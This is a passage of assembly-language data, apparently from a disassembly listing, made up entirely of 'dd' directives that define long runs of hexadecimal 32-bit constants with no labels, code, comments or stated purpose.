dd 9ECD902Ah, 9D3504EBh, 0BE8F6003h, 0CE92D780h, 91AC3FA8h
dd 72D8868Ch, 7028EB20h, 0F400F0AEh, 37D90C7Eh, 0B55D88h
dd 0C36444B9h, 4951539Fh, 470B77Ah, 9005879h, 3623F29Ah
dd 63E8DA8h, 5F154E55h, 4E008E5h, 0AEE120C0h, 3AEBD4A9h
dd 0EA005D44h, 3ED81805h, 697503A6h, 0EFF31E1Ch, 0F1DE8B9Dh
dd 27FA0981h, 0E3DC4261h, 0E7081923h, 8B1F08D4h, 87E15A21h
dd 51005E22h, 0F91364h, 1E678269h, 0EFF555A2h, 99CF0303h
dd 78083827h, 0E1E93E88h, 6B14780h, 2E8A0484h, 0ED607574h
dd 0F519C821h, 30530056h, 9D86CE0Dh, 70F6BE39h, 0F103B730h
dd 3C73E1A9h, 0AB8AB533h, 0CF6182h, 9AD26A8Dh, 0B007A21Fh
dd 2F79BADBh, 3E91F3C3h, 3B001CF6h, 4B61453h, 0B100E5D5h
dd 58B77178h, 7067341h, 3749A8F3h, 6167C026h, 0BC00CBA1h
dd 40919F53h, 146B340Dh, 0B85AF6A3h, 5F7747Bh, 28CC064h
dd 9129C076h, 3F074A8Ah, 22952F27h, 0FBB83150h, 0C18C00FEh
dd 0EF53EA81h, 49060329h, 69341775h, 0B6100341h, 0BF643367h
dd 0AB455EB8h, 0E046EE00h, 134AD1F6h, 8128DCC4h, 5D172832h
dd 0DBFBDC7Eh, 3C1F451Ch, 1120A418h, 87F70140h, 0FB04BE63h
dd 47608366h, 0C8B9E2E0h, 303ECE3h, 0FAEBFD9Ah, 40E1C297h
dd 0A0B9F6h, 127D7A04h, 3D1081Ch, 0EC852E3Ah, 7D9D922h
dd 1800E3E6h, 0D3F83476h, 253509h, 8772563Dh, 0CC19AF40h
dd 589DF030h, 1818CFD4h, 109548B4h, 3839573Ch, 819F83F7h
dd 80791DC9h, 3F4B4410h, 89817041h, 0F9BE837Fh, 8CA0FA75h
dd 9C1F9E2Ch, 3903F0E1h, 0C3197160h, 2E2346A7h, 1862D690h
dd 0F739406Bh, 0B8A2100h, 508F41EEh, 0CE238D1h, 2F521380h
dd 0F13D6818h, 8805C201h, 1DF70925h, 773EBF4h, 0D04B1A32h
dd 0D4479085h, 2900B436h, 0C2B251B3h, 7A7025B7h, 50890066h
dd 59A047A3h, 0BA033082h, 0F6D1ED22h, 8B73A88Ah, 9EB00029h
dd 89B72EE7h, 0C6F4144Ah, 0B9E18800h, 0BF222521h, 0FF230963h
dd 54003881h, 351A9E47h, 41567716h, 0C142DD00h, 7C4588E9h
dd 0BDB100FCh, 2E6C36CCh, 41C61C0h, 0ED405658h, 18232214h
dd 0E71D005Eh, 61AD7478h, 0A00059FEh, 71B4B905h, 0C86D50h
dd 475299DFh, 1FBF0D32h, 0BD772F00h, 0ED407574h, 4DC23C46h
dd 2CDCC987h, 0B33470F6h, 89743224h, 52E3C100h, 78284A07h
dd 0A603008Ch, 0AF8877A2h, 2B000B05h, 90312485h, 404194h
dd 26B5895Eh, 0A90ABFE2h, 96831900h, 2982B20Bh, 0B48F51C2h
dd 0ED512984h, 7B9002E1h, 208E0484h, 804124B6h, 3B89EE8Dh
dd 812A22D6h, 28871B23h, 22144951h, 66507F2Dh, 9B626428h
dd 22EF0529h, 0E2228110h, 9AB2223Dh, 0DFC7E121h, 12E39201h
dd 7281107Eh, 5A089D89h, 441A7D44h, 0B244083Ch, 5D1C88D9h
dd 2F00C590h, 0D7B4B14Eh, 0FD2ABACh, 29928B65h, 0BD227C80h
dd 9F014CDAh, 0FBB0EEE3h, 0EDF9A061h, 0C43598F7h, 0F01B001Ah
dd 37AA79F9h, 0D90B1713h, 81BD86h, 0B1E6D536h, 8C1F0094h
dd 0DBE4EDC8h, 0EC07BFB0h, 4AB87593h, 7A42B2A0h, 0E52D000Fh
dd 727D484h, 3E0059EBh, 7565E84Fh, 0D2190h, 91B04402h
dd 0BB6C98C9h, 7E715B00h, 0DEDAE7F4h, 6305E6FBh, 60FD107Dh
dd 7058C4C0h, 639E1509h, 95C02028h, 66010Fh, 3FC50749h
dd 225C41B3h, 0E2785800h, 0B7D27ED5h, 3C435871h, 0D49C2900h
dd 0C8E64F9Ah, 0F6C59000h, 0BAFC69E9h, 0B17000C6h, 6811FB10h
dd 0D600FAB9h, 3FB43586h, 0C7EE14h, 4C8A7B6Fh, 0E98DBFECh
dd 0F5217200h, 0B1D869Dh, 1B7C0Ah, 5C3BE8BAh, 26A1AB3Ah
dd 53480400h, 0F245D2E6h, 5AA500A6h, 0F559D057h, 64007107h
dd 0A80CFFDh, 185C54E6h, 18CE1C7Dh, 301076Eh, 940F49B9h
dd 0D5FC046Ch, 79370032h, 0F293FCE0h, 0CC1E677Dh, 6080F0C3h
dd 9ECB01CDh, 0C72B005Fh, 0A6338B2Ah, 73EE2F3Dh, 1528E300h
dd 700BAA80h, 547236h, 0D1E1684Fh, 0CB98E61h, 7F199E00h
dd 85FB6ECAh, 579F006Dh, 49CF5AF1h, 160F2572h, 23192A5Eh
dd 0A8683C76h, 1CE5D84Fh, 0C031B7A9h, 8BEC0DD5h, 0C8009A0Ah
dd 1DE14D6Ah, 0F4C239EAh, 0F2300036h, 0E4F95FAAh, 1B5894E3h
dd 3E3F1F9Dh, 0E0A1B78Fh, 2DCE2C5h, 995D165Fh, 7ADD1E3Ch
dd 80EE2A87h, 8B38302Dh, 0AD00CF08h, 87773A32h, 0EDCF2E6h
dd 70E34E35h, 0A04AD447h, 652A4D5Ah, 23BA1600h, 38CB418Fh
dd 0E9B3007Ch, 0F23CD179h, 0E03C9C15h, 26E0066h, 9ED7267Eh
dd 64EA1F0Ah, 89A98016h, 0C956277Dh, 153C0709h, 8F0400D5h
dd 0E2BEE2FDh, 50910126h, 83F86DB9h, 0D01AF86Bh, 14DC8000h
dd 0EAE18530h, 3650034h, 18F0AB25h, 47002787h, 83DF1F7Ah
dd 0CCAC5Dh, 6FEE917Fh, 4ACB6574h, 28BD6D02h, 401B96E2h
dd 0DEB403h, 60FA2902h, 2B82F4D1h, 9FE82A01h, 0A5B9C672h
dd 6AD7F0h, 1219536Eh, 0DB37628Ch, 0D91DF072h, 0BD805E49h
dd 7722658Ah, 8B848C7h, 0F81DC000h, 0AE99A481h, 57ED8C00h
dd 44FB1A60h, 0A5510026h, 0C25633B7h, 7A00D476h, 0E9927705h
dd 1E7F2h, 356FBD1Ah, 9E520291h, 0C1D0511Ch, 428108E0h
dd 0D050AA99h, 6F6C04A7h, 7AF863h, 0E8AABD88h, 0D82500AEh
dd 4010815Eh, 0EA003EDAh, 1B174421h, 0E204F650h, 2ED43EE7h
dd 68AB12h, 9C4C3737h, 450F1681h, 67CF70F7h, 97401178h
dd 146F530h, 506C1D71h, 2A606942h, 8AB2FE80h, 0E87400B9h
dd 0D59A662Eh, 8000FE11h, 0D1AEDCA8h, 7347EFCh, 0F80A1935h
dd 0F163302Eh, 7D00E394h, 49E41387h, 489BD8h, 0DA84ACD1h
dd 0B947C51Eh, 997D2307h, 0F2606E73h, 90FB27h, 11325D04h
dd 6150F12Dh, 24028774h, 92B6284Dh, 8CC480DAh, 0FE9960h
dd 17E9FC1Eh, 3613EB59h, 375AD600h, 86CA2070h, 0D2050012h
dd 4878175Eh, 0A600E4DBh, 523E4DB8h, 1D6A9E3h, 0BCD276C3h
dd 35C0DF9h, 0A8C0C89Dh, 48020192h, 88015FE3h, 0FBB82040h
dd 0F81E8400h, 67C03CB6h, 973B1656h, 4F3C01ADh, 2078B97Dh
dd 5C00EF49h, 0B6EA3D05h, 38DA1DCEh, 0C609894h, 7E7F5A7Dh
dd 9DEEF200h, 92698750h, 2D6E000Ah, 0D9F73DC0h, 0AE0F45BDh
dd 40C4D42Fh, 1EE148E7h, 413B031Dh, 0BCB36F69h, 6A4613B8h
dd 0E6030D7Eh, 63FC426Dh, 0FB709FD2h, 57219FEh, 4A929EE3h
dd 53A580A5h, 0F9E46BDDh, 7DF0B707h, 0F291D211h, 7E607718h
dd 98ED00A4h, 64A8887Fh, 6F003C05h, 0DD756D1Ch, 0C2EF4Eh
dd 89C91EA2h, 0AC2C1B4Fh, 8A0F2F00h, 45067DCh, 93651349h
dd 0CA3C1898h, 2001259h, 0F4C5161Eh, 0EE216081h, 37C30125h
dd 68491A8Fh, 13318050h, 539246E6h, 0F0B8C007h, 82DA7D24h
dd 785C5509h, 0C54CA080h, 1F843733h, 43D7E619h, 91CFAA87h
dd 41DD24E9h, 0C00A4DBBh, 0D0704138h, 5AFE4400h, 0EC3BE7FDh
dd 111FE83h, 0CFD7FA7Ah, 0DE50950Ch, 0BE32E960h, 0C3CE3A00h
dd 2576F051h, 9045FE3Bh, 0FF6A00F3h, 0E59BD637h, 0C03DD71h
dd 53C66938h, 0FF5D008h, 298000ECh, 309341F6h, 700F1849h
dd 0C05EF7CBh, 0F1101EA1h, 0A82A03E6h, 4F563F2Dh, 0C77636B0h
dd 0E4541D01h, 7D01CA60h
dd 7E3203D7h, 46C05BF8h, 20766BB8h, 268038h, 92AF9181h
dd 0C11B44Fh, 4601FD7Eh, 52075F2Ch, 1B6F8C88h, 0ABEBD680h
dd 0AC3200BDh, 9D197780h, 2100C524h, 0EA4C38B4h, 73A0D53Ch
dd 0E748075Ah, 206FAE0Bh, 0D70F25ADh, 98B4EE00h, 0DC5C6DD8h
dd 111A039Bh, 77EB2276h, 37A14788h, 4270321Ch, 20E180BFh
dd 61ECB98h, 3AB10075h, 2C381DFDh, 311E5081h, 0E040ECE2h
dd 3937220h, 4A58009Ch, 3708FBEAh, 0FE0168D7h, 0BD9E6DB8h
dd 0F3F8E3E9h, 247304E0h, 0C00470C4h, 0EFA1F19Dh, 0D1BE1B1Ch
dd 783753C0h, 37D15AFh, 59F66FCh, 93A9BF38h, 0F899DC07h
dd 0EB72F600h, 0D9A48E1Bh, 0BCC50082h, 0D2280133h, 2700B8CEh
dd 46FFAA3Bh, 1799A7Bh, 0D3E323BBh, 0D47120B6h, 4092271Ah
dd 2D7F8AF8h, 5DC14D00h, 85317540h, 77FEF48Bh, 0FFC600D7h
dd 66AE8632h, 0B0E394Ch, 40F61AF0h, 0B2608F46h, 0FDCB005Bh
dd 98E1EE56h, 0B60397D3h, 94B916CFh, 665DF85Fh, 634D0927h
dd 9C50DF6Ch, 246A5E0Ah, 4C00A04Bh, 32037FDEh, 14230B74h
dd 28892938h, 0CBF87680h, 8D001A5Dh, 3CAAFFCh, 1C1532Dh
dd 0D1A48492h, 0D3C6D222h, 9E7ACEC8h, 0ECF8E305h, 0A000EA56h
dd 0BFE09B1Dh, 18F90093h, 7DFEE1F4h, 9C042D22h, 3DCD0C3Ah
dd 0F6E67CC1h, 1EF44BC0h, 0E48DB830h, 0A5400020h, 0C7D45328h
dd 0DD0E7E1Eh, 0FBB63080h, 96F40Ah, 5B6A5748h, 0BD3FA8A4h
dd 0AE247F03h, 775546EFh, 0FE9E00D8h, 6FC856C0h, 6612C17Eh
dd 502D4F63h, 5C006AC9h, 0A7057D45h, 0A09A29D3h, 0E2D26680h
dd 0BDF30E46h, 0E0EE5A54h, 4F55BFE0h, 0A03C3C4h, 0A0ADB87Fh
dd 9834A8E7h, 64660006h, 2ED8C630h, 500036C7h, 8B3FA27Dh
dd 0F11CB4h, 306333C4h, 9EA1CB95h, 6BD01D2Ch, 0D537AE09h
dd 64880300h, 0E0013AC4h, 3DEDEBD9h, 0E0EB4DBEh, 9D1FCBh
dd 4FE99C53h, 9517DD6Ah, 0DA353901h, 8A46A907h, 1D63BFD8h
dd 4BC49048h, 0B3091301h, 73152D80h, 12002AEDh, 74E88B97h
dd 2E5D0h, 0E28D7E7Ch, 6E3A160Eh, 0A30041E4h, 29D24DA4h
dd 54EE25h, 2A6F5563h, 0F7F6B3B8h, 2887F326h, 4D32803Dh
dd 19EE2030h, 34EB005Fh, 0A9BDD623h, 0DCFC2559h, 0B53899E0h
dd 82A5023Ah, 63ACEEE2h, 88CEEBDDh, 0F8307AC8h, 0D74F009Ah
dd 0A277AB64h, 8678E0B4h, 0F74B0800h, 1C0D0155h, 0FAA1003Fh
dd 18C05E97h, 0A80029A9h, 6CF34B81h, 0E4807E92h, 8B2D0179h
dd 4A970A05h, 84E860DEh, 75D1AB00h, 0B0422317h, 0AC520E31h
dd 6F80F04Eh, 7F591868h, 0D1FDAA00h, 21900F76h, 117C02D3h
dd 77E68353h, 0BCFE2860h, 65816F02h, 0C04815F3h, 22BDD5E8h
dd 0C8007DA4h, 3212732h, 1ACE2C3h, 346FD9A0h, 20901DE8h
dd 0FA205450h, 36CB1657h, 3C3C407Dh, 9F010B62h, 0D81CF700h
dd 72DC76DDh, 698F0753h, 3087CD2Ch, 0A8F48D5Dh, 3F670140h
dd 3F80E3C4h, 0D5A2055Ah, 0CC02C7BFh, 1B5BE754h, 961460CEh
dd 13661EA8h, 9115C0B2h, 0DE3F5C42h, 0EC0D6B00h, 4727FF49h
dd 5F1D01BDh, 0A0659E90h, 0C24883EFh, 0E074DBC8h, 5B9B34h
dd 17F61B92h, 56585746h, 554139h, 64D4FF6Eh, 201C0B0h
dd 6DDFB28Ch, 0BC80D11Eh, 0DAAF8F98h, 6681E902h, 0E0DE6504h
dd 7BB1F39Ch, 0BA7F3Dh, 7E696DC9h, 2C7CB349h, 8F21A739h
dd 20E2975Fh, 9A597666h, 399E002Bh, 0D9185636h, 0D000B9E5h
dd 0DE33DDC0h, 0B8D3804Ah, 9F233A3Ah, 324FC68Fh, 0CACF75C0h
dd 45143A8Eh, 1C0A3E0h, 5EF12A21h, 8427B6E2h, 0EF49C000h
dd 5426B8A0h, 3DB95B3Fh, 28D100B5h, 4A04558Ah, 14A9007Ch
dd 0CB5FF7C2h, 320736CFh, 4CDF1F21h, 47BEEAA1h, 0F11C8D4h
dd 158AD8B4h, 0BAC42B80h, 901F2941h, 8FFB511Fh, 80654877h
dd 4CA6B4F4h, 6D8500B5h, 0CF6CEF89h, 0F8003A23h, 0E524201Ah
dd 18AAE4D9h, 0B8E3E747h, 0D00D238h, 0EBF97618h, 1868B7B3h
dd 885586B0h, 831764E1h, 8C5E2231h, 0A6B292C5h, 0AAE5F880h
dd 49CA65C1h, 26804356h, 77886ED3h, 7300B521h, 28EC3A7Bh
dd 7166BE44h, 57B2Ch, 221667BDh, 9EC9E5C6h, 0AD008A79h
dd 98DD6F2Bh, 3ED1FBBh, 3915259Ah, 0C9F0047Fh, 7D00896Eh
dd 0CB53D131h, 7A3427h, 0BB9DB337h, 147BC022h, 808020FFh
dd 390C7C00h, 6B18575Eh, 0D3913B86h, 75BD4980h, 0A7E3660Eh
dd 0F824B00h, 62DDD93Dh, 292F0060h, 0D8FEB26Bh, 0B55910A4h
dd 0C24C60h, 0FD61AE3Fh, 137DE2AFh, 0F918C18h, 77418F58h
dd 0CCD141DDh, 0AF4CF7D9h, 489004Ch, 9A152E11h, 0FF900034h
dd 7BC7828Fh, 0D000DED2h, 49EF090Bh, 6BE4C1h, 2CB4542Eh
dd 5798F62Fh, 0A1C52500h, 0AC082734h, 47C81F9Bh, 0D3BEC78Bh
dd 31D167E6h, 0D4529135h, 550E6CA7h, 2E34E222h, 1CA40029h
dd 925AF2Ah, 72183E49h, 2C4AC0C0h, 0C0945704h, 0F9876F76h
dd 7BA8C1E9h, 23006029h, 4ABE4BB4h, 0A300A84Fh, 4D4106B5h
dd 96B61B0h, 0EB24F8E7h, 0B24E7B80h, 0CFF29D6Eh, 0A37D000h
dd 0F719B012h, 606A07BCh, 8465F045h, 83108374h, 4C6029D7h
dd 0FAFA1B52h, 3097E25h, 991C848Ch, 0E0DE5FEBh, 13899B8h
dd 155B8D14h, 0F478EE86h, 0B8725DE1h, 0D100897Ch, 3430297Ch
dd 0AB8EB9h, 0B7E63B23h, 82F22855h, 1FE8C58h, 0F9E9C162h
dd 4DFC91FDh, 4498F7h, 8B641AECh, 2215C911h, 0B2065B0Ch
dd 19680Ch, 0DF33925Ch, 18603BF2h, 3279E500h, 9824A48Ch
dd 0EEB40331h, 6619A66h, 7DE4BC0h, 7C04A4Ch, 4FDBFA10h
dd 780DDF91h, 0F896BE43h, 0EC2BB13h, 391DCF37h, 97E5BAC1h
dd 46146456h, 38B58213h, 8347C487h, 64DDE1B0h, 43932E87h
dd 0D2191F7Ch, 0F01C8C47h, 9E737801h, 0AC4CC3E4h, 0ECD7B9D0h
dd 802D4802h, 8C3C9900h, 13BA4521h, 70D8DB07h, 0B4D2A88Ah
dd 34BB61B0h, 1218C670h, 7F0E3FBh, 0E04EB3E0h, 5DCD816Dh
dd 0A0948600h, 0D5FF11DFh, 0AE6F0040h, 324BD763h, 0B400EB96h
dd 55A45F3Dh, 7FF9B6h, 0BBC3B748h, 13C8A4Ah, 0BA504300h
dd 4C9AA98h, 253D003Fh, 94AF4D1h, 997E55ADh, 70102098h
dd 0DB00E44Eh, 1C36D07Fh, 0B998D668h, 8EB34D00h, 94A761B4h
dd 8F9204ADh, 0C00B2F2Ah, 0C5D91288h, 181A900h, 784E4379h
dd 0EDB60E9Ch, 0DC20F2B5h, 8EC7F9Bh, 3EB7E212h, 0A415D84Ah
dd 56C09E6Fh, 2EF04BE0h, 4F70061h, 991FF851h, 7F003630h
dd 4DDE97C7h, 1D8EDFh, 29CC0C9Bh, 9218F026h, 2FAC7126h
dd 2ADE2C00h, 21532Dh, 0A9B57376h, 79DDB8Ch, 38045EF6h
dd 0AEDF3416h, 0D30098F2h, 21F35CDDh, 1C04CA94h, 0A7AF92A2h
dd 6B60C880h, 37FCFCh, 15DE0362h, 5FBC45E5h, 0D857720Fh
dd 0B821802Ah, 0AE0522h, 0D38E2476h, 499FA0DFh, 1B84D700h
dd 0E7F83EC3h, 123800EBh, 0E13F2270h, 4000D6E9h, 4173A4EEh
dd 902D5F66h, 0A603FB4h, 3B83F780h, 0BD409380h, 0F4E5253Fh
dd 1BB738h, 539EDBF4h, 0E8BC26F2h, 704C0EE2h, 0EF404144h
dd 12F53D7Ah, 0AE4BDA0Eh, 6AEE605Fh, 25FF7Eh, 0D7E11A19h
dd 5D7C788Eh, 7960AF03h, 0C00C433Bh, 0E453376Fh, 1EB30099h
dd 5EE6B710h, 3A7FF64Ah, 250F4898h, 21F32BCBh, 18C86A30h
dd 2B60C3C5h, 0C4770761h, 80F5D198h, 0CC6A1675h, 2F3B0F01h
dd 0BF34A311h, 68A5B880h, 811BE2EDh, 5BA8FD0Ch, 3DE18BEh
dd 0E6E7AA13h, 0CD90A107h, 0FF24BB9Ah, 5F00A0D6h, 90792AFEh
dd 0E1150019h, 6DD19E01h
dd 7600CBE5h, 0F5BE70ACh, 0D968A3h, 12E284F9h, 0BBCE344Ah
dd 55023B00h, 46F05F1h, 0FF818B1h, 9CBE503Ch, 0F6A44C00h
dd 0FDB74D2Eh, 46F0E7h, 854B17A3h, 82864ACh, 313FC000h
dd 0E3768071h, 152A00CDh, 0B07A585Ch, 83162CABh, 3EA4650h
dd 0C8988EADh, 0F1EE80D0h, 0A42EB400h, 0D15B71E9h, 3A750760h
dd 0A03F674Eh, 796A2914h, 0EF8DF600h, 233489FDh, 377B0052h
dd 0FB33274h, 0B80015BFh, 249FC78Ah, 144D0D3Ah, 0E4734F60h
dd 0ADD4ED25h, 6C3E2E00h, 44841Dh, 9F468F4Eh, 7C3B831h
dd 7C53A20Eh, 79CF00E4h, 1EC45FD9h, 0C7EFA829h, 30DAED16h
dd 92A22FAh, 5AE81400h, 72B78B46h, 3C96483Ah, 0A16C3200h
dd 6939E1EEh, 82A8B0C5h, 0B30B7D80h, 2AD21CD7h, 346F00D1h
dd 0C7A7BB09h, 0C8CF2C00h, 8722DB3Eh, 1ECE442h, 9DB8496Ah
dd 2009945Dh, 0A3066B6Bh, 5BCCFFD9h, 50C800D0h, 54CE10F7h
dd 2F00F6DAh, 0A26995EEh, 7D5C4Bh, 0FE73EABh, 0A420BA5Eh
dd 860079FCh, 6822ADC4h, 0BFB2F49h, 7B1A0117h, 0D2F74D00h
dd 0C1004050h, 57116930h, 39D8824h, 3ABE80F5h, 78581BC3h
dd 0C463011Ah, 0E0A276EAh, 3602F8BAh, 423DA794h, 0B94ADB60h
dd 0C1EBDA00h, 184B1EBBh, 7F3E00ECh, 58CB2006h, 0BE03F73Ah
dd 51FC37A9h, 4ABDF0B2h, 83D0004Dh, 39E61C35h, 92008971h
dd 3CDCF4E2h, 5DF896h, 70404304h, 0D7861B9Bh, 6C987C00h
dd 830CA837h, 82CD0239h, 0FCF99E4Fh, 0C1108FC0h, 7400B3E6h
dd 0A222E6FAh, 0E8A6E5h, 888A9BA7h, 0BD318FEEh, 2798CB00h
dd 4A176FFDh, 80FE60BAh, 4FA55D5Eh, 533FDA00h, 3C6989AAh
dd 0EAB3036Ah, 28747B0Ch, 1EE61148h, 0DA405A94h, 0DE247F48h
dd 0D8FB0166h, 92B962D3h, 0F91DCC30h, 0A9781660h, 1DD5BC5Fh
dd 8029A011h, 0D1613F89h, 4F00E7AFh, 95BCF51h, 772428h
dd 4B8DE8BAh, 6FCAA0F3h, 784A3Bh, 0E4A7A954h, 28E3E0CBh
dd 0FAB44D66h, 0DCCD108Ah, 0B1EA0235h, 0E0E3572Dh, 0A03D03CDh
dd 1C9E3798h, 18D5E77Fh, 9076E8E4h, 0EE50F000h, 843D15C0h
dd 2BB700A9h, 0FF3C93E9h, 8500697Bh, 30880CD4h, 550654h
dd 429ACFB7h, 0D513EFDFh, 61011BECh, 0DBABEA2Fh, 0C0D02017h
dd 3E4F3E6Ah, 5AFF6703h, 3BE17543h, 4099FD6Ch, 0B3E61E84h
dd 5FF5720Eh, 0E9D32002h, 11DC918h, 0C0D6AFDh, 0CC0EC48Fh
dd 540226C8h, 0E551F182h, 329EC092h, 3FE00075h, 5C64B95Dh
dd 8D3B53DBh, 0F63E0090h, 614723B8h, 12697BC1h, 406CDD1Eh
dd 0C7813A40h, 0EE7EBFA7h, 1949D430h, 0BE6625h, 0D3A52E98h
dd 0A48DACD6h, 3B879C0Ah, 0CE00B0BAh, 34D20ABh, 0E7230079h
dd 3E67A2ACh, 0F500C407h, 259DDB4h, 0C8E81Ch, 63CA8E3Bh
dd 9AF2ECF3h, 0DE54921Eh, 60CCD78Fh, 9D8306ABh, 7520905Fh
dd 4F780EDAh, 46CFCA22h, 0F1561CC0h, 8D086037h, 1EA0A3ABh
dd 200E2D0h, 3AF5BD82h, 384EDF76h, 340F58AAh, 15017857h
dd 0CBD8BB4Ah, 80CE5680h, 0D22E9A01h, 6FD5A7DEh, 3CB27E8h
dd 7A044703h, 80872B58h, 0A849EBF1h, 83B56900h, 83C9514h
dd 0BE7C0084h, 930A26A6h, 0FB028DB9h, 6437C02Ah, 0AC9C80D0h
dd 2476739Fh, 1D28F966h, 93320042h, 16E0DBBDh, 80124B3Eh
dd 0D1AFB472h, 74922566h, 915C1DA1h, 0B33EC098h, 0C9106A0Bh
dd 0C8ADE9A1h, 72001ECCh, 5EE30F83h, 0C0853E11h, 8AF2B1F8h
dd 3000823Bh, 1A05F598h, 0CA1331h, 834EEFB9h, 19FFDDEAh
dd 6854E200h, 0E68AEBABh, 0DB9B00A4h, 5F82DC4Bh, 2E72D863h
dd 0BC004E7Dh, 78327D7Eh, 0E1BCEA3h, 0AC849F7Ch, 20C7A5h
dd 42ABF094h, 41008A75h, 63F547DDh, 140476EEh, 0C0F73307h
dd 969E4300h, 816E2BB9h, 45ED2E17h, 15E714h, 0DAA6F008h
dd 50A9047Ah, 3BAC4Ah, 5AB8CD8h, 0E9F0E6BDh, 78DC9800h
dd 14106B1Ah, 74C8000Dh, 2579F75Ah, 5C00C443h, 0BC1E11F4h
dd 3D22919Eh, 9A28A7A6h, 1D8403C8h, 9BD422Bh, 8B0FB7B0h
dd 8AEC291Ch, 0CC216D41h, 0E4F896CAh, 439CC7h, 778E64C2h
dd 0A4789F5Eh, 0CD154700h, 0F339511Fh, 97561440h, 8900ECF8h
dd 9A03ED8h, 52005EE8h, 14030E83h, 947B7Dh, 0DC1F307Ah
dd 4370EED7h, 0AF337100h, 7C19E403h, 3D4A001Ah, 90617D5Fh
dd 8C002C31h, 0CB69E6D4h, 15DBE430h, 0C488B349h, 6048F63Eh
dd 0EE1F2800h, 1CA5CE55h, 0A2EFCF8h, 7D00C23Fh, 4D63533Eh
dd 813B0733h, 40966A65h, 110516CDh, 0EF24FE00h, 0F5CC8ECEh
dd 0E97EFDh, 0EED15283h, 63061DB7h, 80C53538h, 0ACBDC47Ah
dd 0FE540D0h, 0F99C7938h, 3BAF480Ah, 590213h, 0A0AD05DFh
dd 1C00EBE8h, 61C7C924h, 3A5EC53Dh, 0FB8025CEh, 0A39C5DEEh
dd 1B0049E3h, 2A616F2Ch, 2ED90763h, 51F78Ah, 419AAADBh
dd 8600D1A5h, 0A9AD80E6h, 0F8833Eh, 0FB2C789Eh, 0F4B01B0Fh
dd 0CF0033E0h, 0C1088DB8h, 537788h, 0F3D4B2E0h, 0FD2E20D9h
dd 0EFAC6300h, 2DBD48E2h, 0BC7A009Dh, 4D913618h, 9F87199h
dd 0FC424509h, 0EC1880E4h, 0FEDE16F3h, 29BD005Ah, 171CC2C0h
dd 0A000353Ah, 0D3A9BB84h, 1861D719h, 985F336Bh, 75ECE58Bh
dd 0DB0A52F4h, 0D8D3EDF6h, 1781A000h, 0A9897Ah, 0BA05960Eh
dd 0EA09E50Fh, 1E50704Dh, 30419D64h, 22EDEE8Fh, 3741B630h
dd 8720813Dh, 0E1CA77h, 9EC00E97h, 8EB8FAE1h, 4363590Fh
dd 98880DAh, 1DFE06DBh, 800E93F9h, 0B500D62h, 0E009FDA3h
dd 0E9DE43Eh, 92818263h, 2848A2ACh, 0FD7140DBh, 625B0150h
dd 0E4CBF7DCh, 0BFC60A9h, 0CF773C00h, 3EFF9DABh, 6C5E8ACh
dd 552AD640h, 9B01484Eh, 0F1FDB50Bh, 2FFC05BEh, 0D32D00B0h
dd 0FB0CC059h, 0D70794E8h, 30705040h, 0F79A3AA0h, 373300FCh
dd 8F84D969h, 4A003D2Fh, 0CC678C4Bh, 3A1F5408h, 210043E2h
dd 0B5B43304h, 0F400E63Ah, 25C46F1Ah, 7F96E3h, 70DF9445h
dd 0B9CD8DE5h, 0DC47FE0Fh, 0BC71004Ch, 8BEA74h, 1D405E44h
dd 7659510Ch, 6ADB0A0Eh, 0E05DAEF9h, 0F7C3A302h, 811A0F74h
dd 3D81F4E1h, 82A0B67Dh, 5F9B8318h, 1E1044C1h, 40C6F9C9h
dd 0E5EEDF22h, 8CCB72Ah, 7021F2h, 0EFC9C6E0h, 0E2F8ACA2h
dd 0F32FF700h, 0A87BD66Eh, 85BE027Eh, 0D30FFE3h, 8F42A080h
dd 8B68A265h, 8899BC70h, 0FE186478h, 225EC608h, 4F0EC4C7h
dd 0AC40FCBFh, 21395863h, 547D00F3h, 9C7F133Bh, 0EC0504FAh
dd 713E6632h, 0C05B6C08h, 2253C6EDh, 30A9FF2Bh, 0CB03C2ACh
dd 0A0FC5F92h, 0F9FA8661h, 2881C8BCh, 9123D8E8h, 43A0401Ah
dd 400FD4A8h, 804E5802h, 6C19E1DFh, 60B703E8h, 85D54B31h
dd 3B946AF8h, 0B0955E07h, 1CC78B8Dh, 6EAD004Fh, 9F2E52h
dd 86D637A7h, 0FF93E548h, 8B730F00h, 9528E945h, 650331ADh
dd 15F51329h, 280CE587h, 42228461h, 191F4266h, 4D51F6F7h
dd 2944EE08h, 0E3D0447Bh, 84893744h, 602B6F22h, 0CC8C2967h
dd 0B55C6599h, 0B0A20045h, 3FE21B72h, 0C99D50C8h, 7B64000Ah
dd 0EC2725ADh, 0DF9893D8h, 6C67E8E7h, 0EB2F6F0Eh, 0E1EF622Bh
dd 6D81F7DEh, 0D46BA87Ah, 48006129h, 6D8DC91Dh, 0F9AEB13h
dd 0D38FB80Fh, 753C89E0h, 9C70B190h, 1A03BF7Ah, 0A82F135Fh
dd 393C1DCh, 604FB520h, 73B938ECh, 0EA0032C6h, 616EE21Ch
dd 0F46D6Ah, 0B49B266Fh, 0F6DC351Dh, 9FF3000h, 0F58A5BE1h
dd 9E3B1C93h, 7E00045h, 8E0412D1h, 43EAFC60h, 342D5Dh
dd 75A610B7h, 572C535Bh
dd 3B60C15h, 6D000F0h, 0CAE3ACEBh, 0B4A100E1h, 18ADE56Ah
dd 5803CCBBh, 4724EE03h, 0B660EFA0h, 344A57h, 18708EF0h
dd 5C736B2Eh, 80B5A839h, 63D0C1A6h, 0DDCB0Ch, 8BEF444Fh
dd 0FAB94DA4h, 944CAF0Ch, 0F98580EAh, 0E1C96710h, 2DF1D500h
dd 0C5292F2Ah, 785E009Eh, 3796CFB3h, 0E30064AAh, 10345845h
dd 609FD491h, 0A33F6AB7h, 8C3D6130h, 0C5A8804Dh, 0FCA63606h
dd 0CD33CDFh, 4FC18500h, 6DAEA22Bh, 8E80DB05h, 0B800BB09h
dd 0BDF951Ch, 5A260030h, 1AA5F904h, 15013944h, 34B70E8Dh
dd 0A640DBA7h, 75106F8h, 92F672FAh, 8596A59Dh, 0A6741E7Fh
dd 81AE1C8Eh, 198A3078h, 0F188746h, 0DE3083E0h, 6C11EEh
dd 96D562EFh, 2DB85D0Ch, 2A001BE2h, 980DBF93h, 0EC480FCAh
dd 4F2B0001h, 0D3234C8Fh, 3B3A2186h, 0C84874h, 0BBA766B2h
dd 755D171h, 0AE0840Ch, 0E31A62E2h, 0A1881C40h, 23181498h
dd 0BEF0936Ch, 4D0700D2h, 79F559FFh, 353C9E1Bh, 2A188039h
dd 24770C1Eh, 0A093D13h, 47D7C301h, 0C86843CEh, 0C4F051A6h
